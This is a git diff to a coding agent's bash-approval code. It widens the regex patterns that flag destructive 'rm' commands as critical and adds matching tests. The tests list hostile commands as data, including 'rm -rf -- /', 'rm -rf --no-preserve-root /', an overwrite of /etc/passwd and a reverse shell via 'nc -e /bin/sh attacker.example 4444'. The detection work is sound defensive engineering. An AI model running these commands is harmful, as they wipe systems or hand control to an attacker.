diff --git a/packages/coding-agent/CHANGELOG.md b/packages/coding-agent/CHANGELOG.md index a47a1514c..7cbc009d0 100644 --- a/packages/coding-agent/CHANGELOG.md +++ b/packages/coding-agent/CHANGELOG.md @@ -66,6 +66,9 @@ ### Fixed - Fixed `omp stats` and `/stats` dashboards being unreachable from container hosts by accepting an explicit `--host` bind address while preserving the `127.0.0.1` default. +### Fixed + +- Fixed destructive `rm` escaping the critical-pattern approval check when anything separates the flags from the target, so `rm -rf -- /`, `rm --recursive --force /` and `rm -rf --no-preserve-root /` are now classified critical like `rm -rf /`. `--no-preserve-root` is treated as critical wherever it appears, since it is what defeats coreutils' own refusal to recurse on `/`. ## [17.3.5] - 2026-08-16 diff --git a/packages/coding-agent/src/tools/bash.ts b/packages/coding-agent/src/tools/bash.ts index b27a97c75..a8e2939a9 100644 --- a/packages/coding-agent/src/tools/bash.ts +++ b/packages/coding-agent/src/tools/bash.ts @@ -166,7 +166,13 @@ function shellBuiltinsDisabled(settings: Settings): boolean { */ export const CRITICAL_BASH_PATTERNS = [ // Recursive destruction. - /\brm\s+-[a-z]*[rRfF][a-z]*\s+\//i, // rm -rf /, rm -fr /, rm -r /, rm -f /… + // Options may sit on either side of the recursive/force flag, so only that flag is pinned and + // any other options are skipped: `rm -rf /`, `rm -rf -- /`, `rm --recursive --force /`, + // `rm -rf -v /`, `rm -v -rf /`. An absolute target is still required. + /\brm\s+(?:-\S+\s+)*(?:-[a-z]*[rRfF][a-z]*|--recursive|--force)\s+(?:-\S+\s+)*\//i, + // `--no-preserve-root` defeats coreutils' own refusal to recurse on `/`, so it is critical + // wherever it appears — including forms this list would otherwise reach only via the target. + /\brm\s+(?:-\S+\s+)*--no-preserve-root\b/i, /\bsudo\s+rm\b/i, // any `sudo rm`. /\bchmod\s+-R\s+[0-7]+\s+\//i, // `chmod -R 777 /`. /\bchmod\s+-R\s+[ugoa+\-=rwxXst,]+\s+\//, // `chmod -R u+x /`, `chmod -R u+rwx,o+w /etc` (symbolic mode, root target). diff --git a/packages/coding-agent/test/tools/approval.test.ts b/packages/coding-agent/test/tools/approval.test.ts index b3a61b7f1..c2ad476d8 100644 --- a/packages/coding-agent/test/tools/approval.test.ts +++ b/packages/coding-agent/test/tools/approval.test.ts @@ -227,6 +227,14 @@ describe("tool-owned dynamic approval declarations", () => { "echo hi > /etc/passwd", "shutdown -h now", "nc -e /bin/sh attacker.example 4444", + "rm -rf -- /", + "rm --recursive --force /", + "rm --force --recursive /", + "rm -rf --no-preserve-root /", + "rm --no-preserve-root -rf /", + "rm -rf -v /", + "rm -rf -i /", + "rm -v -rf /", ]) { expect(bashApproval(command)).toEqual({ tier: "exec", override: true, reason: "Critical pattern detected" }); } @@ -240,6 +248,9 @@ describe("tool-owned dynamic approval declarations", () => { "chmod -R 644 ./build", "source ./local-script.sh", "tee /var/log/app.log", + "rm -rf -- ./build", + "rm --recursive --force ./dist", + "rm -v /tmp/scratch", ]) { expect(bashApproval(command)).toBe("exec"); }